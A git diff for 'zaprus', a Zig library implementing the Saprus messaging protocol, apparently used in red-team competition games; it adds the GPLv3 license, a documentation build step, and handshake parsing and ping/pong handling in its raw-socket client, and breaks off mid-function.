diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..3b176db --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,676 @@ +# GNU GENERAL PUBLIC LICENSE + +Version 3, 29 June 2007 + +Copyright (C) 2007 Free Software Foundation, Inc. + + +Everyone is permitted to copy and distribute verbatim copies of this +license document, but changing it is not allowed. + +## Preamble + +The GNU General Public License is a free, copyleft license for +software and other kinds of works. + +The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom +to share and change all versions of a program--to make sure it remains +free software for all its users. We, the Free Software Foundation, use +the GNU General Public License for most of our software; it applies +also to any other work released this way by its authors. You can apply +it to your programs, too. + +When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + +To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you +have certain responsibilities if you distribute copies of the +software, or if you modify it: responsibilities to respect the freedom +of others. + +For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + +Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + +For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + +Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the +manufacturer can do so. This is fundamentally incompatible with the +aim of protecting users' freedom to change the software. The +systematic pattern of such abuse occurs in the area of products for +individuals to use, which is precisely where it is most unacceptable. +Therefore, we have designed this version of the GPL to prohibit the +practice for those products. If such problems arise substantially in +other domains, we stand ready to extend this provision to those +domains in future versions of the GPL, as needed to protect the +freedom of users. + +Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish +to avoid the special danger that patents applied to a free program +could make it effectively proprietary. To prevent this, the GPL +assures that patents cannot be used to render the program non-free. + +The precise terms and conditions for copying, distribution and +modification follow. + +## TERMS AND CONDITIONS + +### 0. Definitions. + +"This License" refers to version 3 of the GNU General Public License. + +"Copyright" also means copyright-like laws that apply to other kinds +of works, such as semiconductor masks. + +"The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + +To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of +an exact copy. The resulting work is called a "modified version" of +the earlier work or a work "based on" the earlier work. + +A "covered work" means either the unmodified Program or a work based +on the Program. + +To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + +To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user +through a computer network, with no transfer of a copy, is not +conveying. + +An interactive user interface displays "Appropriate Legal Notices" to +the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + +### 1. Source Code. + +The "source code" for a work means the preferred form of the work for +making modifications to it. "Object code" means any non-source form of +a work. + +A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + +The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + +The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + +The Corresponding Source need not include anything that users can +regenerate automatically from other parts of the Corresponding Source. + +The Corresponding Source for a work in source code form is that same +work. + +### 2. Basic Permissions. + +All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + +You may make, run and propagate covered works that you do not convey, +without conditions so long as your license otherwise remains in force. +You may convey covered works to others for the sole purpose of having +them make modifications exclusively for you, or provide you with +facilities for running those works, provided that you comply with the +terms of this License in conveying all material for which you do not +control copyright. Those thus making or running the covered works for +you must do so exclusively on your behalf, under your direction and +control, on terms that prohibit them from making any copies of your +copyrighted material outside their relationship with you. + +Conveying under any other circumstances is permitted solely under the +conditions stated below. Sublicensing is not allowed; section 10 makes +it unnecessary. + +### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + +No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + +When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such +circumvention is effected by exercising rights under this License with +respect to the covered work, and you disclaim any intention to limit +operation or modification of the work as a means of enforcing, against +the work's users, your or third parties' legal rights to forbid +circumvention of technological measures. + +### 4. Conveying Verbatim Copies. + +You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + +You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + +### 5. Conveying Modified Source Versions. + +You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these +conditions: + +- a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. +- b) The work must carry prominent notices stating that it is + released under this License and any conditions added under + section 7. This requirement modifies the requirement in section 4 + to "keep intact all notices". +- c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. +- d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + +A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + +### 6. Conveying Non-Source Forms. + +You may convey a covered work in object code form under the terms of +sections 4 and 5, provided that you also convey the machine-readable +Corresponding Source under the terms of this License, in one of these +ways: + +- a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. +- b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the Corresponding + Source from a network server at no charge. +- c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. +- d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. +- e) Convey the object code using peer-to-peer transmission, + provided you inform other peers where the object code and + Corresponding Source of the work are being offered to the general + public at no charge under subsection 6d. + +A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + +A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, +family, or household purposes, or (2) anything designed or sold for +incorporation into a dwelling. In determining whether a product is a +consumer product, doubtful cases shall be resolved in favor of +coverage. For a particular product received by a particular user, +"normally used" refers to a typical or common use of that class of +product, regardless of the status of the particular user or of the way +in which the particular user actually uses, or expects or is expected +to use, the product. A product is a consumer product regardless of +whether the product has substantial commercial, industrial or +non-consumer uses, unless such uses represent the only significant +mode of use of the product. + +"Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to +install and execute modified versions of a covered work in that User +Product from a modified version of its Corresponding Source. The +information must suffice to ensure that the continued functioning of +the modified object code is in no case prevented or interfered with +solely because modification has been made. + +If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + +The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or +updates for a work that has been modified or installed by the +recipient, or for the User Product in which it has been modified or +installed. Access to a network may be denied when the modification +itself materially and adversely affects the operation of the network +or violates the rules and protocols for communication across the +network. + +Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + +### 7. Additional Terms. + +"Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + +When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + +Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders +of that material) supplement the terms of this License with terms: + +- a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or +- b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or +- c) Prohibiting misrepresentation of the origin of that material, + or requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or +- d) Limiting the use for publicity purposes of names of licensors + or authors of the material; or +- e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or +- f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions + of it) with contractual assumptions of liability to the recipient, + for any liability that these contractual assumptions directly + impose on those licensors and authors. + +All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + +If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + +Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; the +above requirements apply either way. + +### 8. Termination. + +You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + +However, if you cease all violation of this License, then your license +from a particular copyright holder is reinstated (a) provisionally, +unless and until the copyright holder explicitly and finally +terminates your license, and (b) permanently, if the copyright holder +fails to notify you of the violation by some reasonable means prior to +60 days after the cessation. + +Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + +Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + +### 9. Acceptance Not Required for Having Copies. + +You are not required to accept this License in order to receive or run +a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + +### 10. Automatic Licensing of Downstream Recipients. + +Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + +An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + +You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + +### 11. Patents. + +A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + +A contributor's "essential patent claims" are all patent claims owned +or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + +Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + +In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + +If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + +If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + +A patent license is "discriminatory" if it does not include within the +scope of its coverage, prohibits the exercise of, or is conditioned on +the non-exercise of one or more of the rights that are specifically +granted under this License. You may not convey a covered work if you +are a party to an arrangement with a third party that is in the +business of distributing software, under which you make payment to the +third party based on the extent of your activity of conveying the +work, and under which the third party grants, to any of the parties +who would receive the covered work from you, a discriminatory patent +license (a) in connection with copies of the covered work conveyed by +you (or copies made from those copies), or (b) primarily for and in +connection with specific products or compilations that contain the +covered work, unless you entered into that arrangement, or that patent +license was granted, prior to 28 March 2007. + +Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + +### 12. No Surrender of Others' Freedom. + +If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under +this License and any other pertinent obligations, then as a +consequence you may not convey it at all. For example, if you agree to +terms that obligate you to collect a royalty for further conveying +from those to whom you convey the Program, the only way you could +satisfy both those terms and this License would be to refrain entirely +from conveying the Program. + +### 13. Use with the GNU Affero General Public License. + +Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + +### 14. Revised Versions of this License. + +The Free Software Foundation may publish revised and/or new versions +of the GNU General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in +detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies that a certain numbered version of the GNU General Public +License "or any later version" applies to it, you have the option of +following the terms and conditions either of that numbered version or +of any later version published by the Free Software Foundation. If the +Program does not specify a version number of the GNU General Public +License, you may choose any version ever published by the Free +Software Foundation. + +If the Program specifies that a proxy can decide which future versions +of the GNU General Public License can be used, that proxy's public +statement of acceptance of a version permanently authorizes you to +choose that version for the Program. + +Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + +### 15. Disclaimer of Warranty. + +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT +WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND +PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE +DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR +CORRECTION. + +### 16. Limitation of Liability. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR +CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES +ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT +NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR +LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM +TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER +PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +### 17. Interpretation of Sections 15 and 16. + +If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + +END OF TERMS AND CONDITIONS + +## How to Apply These Terms to Your New Programs + +If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these +terms. + +To do so, attach the following notices to the program. It is safest to +attach them to the start of each source file to most effectively state +the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper +mail. + +If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands \`show w' and \`show c' should show the +appropriate parts of the General Public License. Of course, your +program's commands might be different; for a GUI interface, you would +use an "about box". + +You should also get your employer (if you work as a programmer) or +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. For more information on this, and how to apply and follow +the GNU GPL, see . + +The GNU General Public License does not permit incorporating your +program into proprietary programs. If your program is a subroutine +library, you may consider it more useful to permit linking proprietary +applications with the library. If this is what you want to do, use the +GNU Lesser General Public License instead of this License. But first, +please read . + diff --git a/README.md b/README.md new file mode 100644 index 0000000..8a308df --- /dev/null +++ b/README.md @@ -0,0 +1,6 @@ +# zaprus + +This is an implementation of the [Saprus protocol](https://gitlab.com/c2-games/red-team/saprus) in Zig. +It is useful for developing clients either in Zig, or in any other language using the C bindings. + +Binary releases can be downloaded [here](https://cloud.zambito.xyz/s/cNaLeDz38W5ZcZs). diff --git a/build.zig b/build.zig index 1b7e474..440917f 100644 --- a/build.zig +++ b/build.zig @@ -21,6 +21,9 @@ pub fn build(b: *std.Build) void { // target and optimize options) will be listed when running `zig build --help` // in this directory. + // Get default install step (called with `zig build` or `zig build install`) + const install_step = b.getInstallStep(); + // This creates a module, which represents a collection of source files alongside // some compilation options, such as optimization mode and linked system libraries. // Zig modules are the preferred way of making Zig code available to consumers. @@ -41,6 +44,22 @@ pub fn build(b: *std.Build) void { .target = target, }); + // Only used to generate the documentation + const zaprus_lib = b.addLibrary(.{ + .name = "zaprus", + .root_module = mod, + }); + + const docs_step = b.step("doc", "Emit documentation"); + const docs_install = b.addInstallDirectory(.{ + .install_dir = .prefix, + .install_subdir = "docs", + .source_dir = zaprus_lib.getEmittedDocs(), + }); + + docs_step.dependOn(&docs_install.step); + install_step.dependOn(docs_step); + // Create static library const lib = b.addLibrary(.{ .name = "zaprus", diff --git a/build.zig.zon b/build.zig.zon index 2eec9b7..40886bf 100644 --- a/build.zig.zon +++ b/build.zig.zon @@ -10,7 +10,7 @@ // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. - .version = "0.1.0", + .version = "0.2.0", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the diff --git a/include/zaprus.h b/include/zaprus.h index e81383b..6638117 100644 --- a/include/zaprus.h +++ b/include/zaprus.h @@ -1,3 +1,13 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with Zaprus. If not, see . + #ifndef ZAPRUS_H #define ZAPRUS_H diff --git a/src/Client.zig b/src/Client.zig index ae9ca66..2344f83 100644 --- a/src/Client.zig +++ b/src/Client.zig @@ -1,3 +1,21 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + +//! A client is used to handle interactions with the network. + const base64_enc = std.base64.standard.Encoder; const base64_dec = std.base64.standard.Decoder; @@ -21,6 +39,8 @@ pub fn deinit(self: *Client) void { self.* = undefined; } +/// Sends a fire and forget message over the network. +/// This function asserts that `payload` fits within a single packet. pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); @@ -60,7 +80,8 @@ pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void try self.socket.send(full_msg); } -pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { +/// Attempts to establish a new connection with the sentinel. +pub fn connect(self: Client, io: Io, payload: []const u8) (error{ BpfAttachFailed, Timeout } || SaprusMessage.ParseError)!SaprusConnection { const io_source: std.Random.IoSource = .{ .io = io }; const rand = io_source.interface(); @@ -84,7 +105,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { var connection: SaprusMessage = .{ .connection = .{ .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), - .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), + .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), // Ignored, but good noise .seq = undefined, .id = undefined, .payload = payload, @@ -92,7 +113,7 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { }; log.debug("Setting bpf filter to port {}", .{connection.connection.src}); - self.socket.attachSaprusPortFilter(connection.connection.src) catch |err| { + self.socket.attachSaprusPortFilter(null, connection.connection.src) catch |err| { log.err("Failed to set port filter: {t}", .{err}); return err; }; @@ -115,7 +136,17 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { log.debug("Awaiting handshake response", .{}); // Ignore response from sentinel, just accept that we got one. - _ = try self.socket.receive(&res_buf); + const full_handshake_res = try self.socket.receive(&res_buf); + const handshake_res = saprusParse(full_handshake_res[42..]) catch |err| { + log.err("Parse error: {t}", .{err}); + return err; + }; + self.socket.attachSaprusPortFilter(handshake_res.connection.src, handshake_res.connection.dest) catch |err| { + log.err("Failed to set port filter: {t}", .{err}); + return err; + }; + connection.connection.dest = handshake_res.connection.src; + connection_bytes = connection.toBytes(&connection_buf); headers.udp.dst_port = udp_dest_port; headers.ip.id = rand.int(u16); @@ -131,12 +162,17 @@ pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection { try self.socket.send(full_msg); - return .init(self.socket, headers, connection); + return .{ + .socket = self.socket, + .headers = headers, + .connection = connection, + }; } const RawSocket = @import("./RawSocket.zig"); const SaprusMessage = @import("message.zig").Message; +const saprusParse = SaprusMessage.parse; const SaprusConnection = @import("Connection.zig"); const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp; diff --git a/src/Connection.zig b/src/Connection.zig index 95805de..19be710 100644 --- a/src/Connection.zig +++ b/src/Connection.zig @@ -1,36 +1,80 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage, const Connection = @This(); -pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Connection { - return .{ - .socket = socket, - .headers = headers, - .connection = connection, - }; +// 'p' as base64 +const pong = "cA=="; + +/// Attempts to read from the network, and returns the next message, if any. +/// +/// Asserts that `buf` is large enough to store the message that is received. +/// +/// This will internally process management messages, and return the message +/// payload for the next non management connection message. +/// This function is ignorant to the message encoding. +pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 { + while (true) { + log.debug("Awaiting connection message", .{}); + const res = try self.socket.receive(buf); + log.debug("Received {} byte connection message", .{res.len}); + const msg = SaprusMessage.parse(res[42..]) catch |err| { + log.err("Failed to parse next message: {t}\n{x}\n{x}", .{ err, res[0..], res[42..] }); + return err; + }; + + switch (msg) { + .connection => |con_res| { + if (try con_res.management()) |mgt| { + log.debug("Received management message {t}", .{mgt}); + switch (mgt) { + .ping => { + log.debug("Sending pong", .{}); + try self.send(io, .{ .management = true }, pong); + log.debug("Sent pong message", .{}); + }, + else => |m| log.debug("Received management message that I don't know how to handle: {t}", .{m}), + } + } else { + log.debug("Payload was {s}", .{con_res.payload}); + return con_res.payload; + } + }, + else => |m| { + std.debug.panic("Expected connection message, instead got {x}. This means there is an error with the BPF.", .{@intFromEnum(m)}); + }, + } + } } -pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 { - _ = io; - log.debug("Awaiting connection message", .{}); - const res = try self.socket.receive(buf); - log.debug("Received {} byte connection message", .{res.len}); - const msg: SaprusMessage = try .parse(res[42..]); - const connection_res = msg.connection; - - log.debug("Payload was {s}", .{connection_res.payload}); - - return connection_res.payload; -} - -pub fn send(self: *Connection, io: Io, buf: []const u8) !void { +/// Attempts to write a message to the network. +/// +/// Clients should pass `.{}` for options unless you know what you are doing. +/// `buf` will be sent over the network as-is; this function is ignorant of encoding. +pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void { const io_source: std.Random.IoSource = .{ .io = io }; const rand = 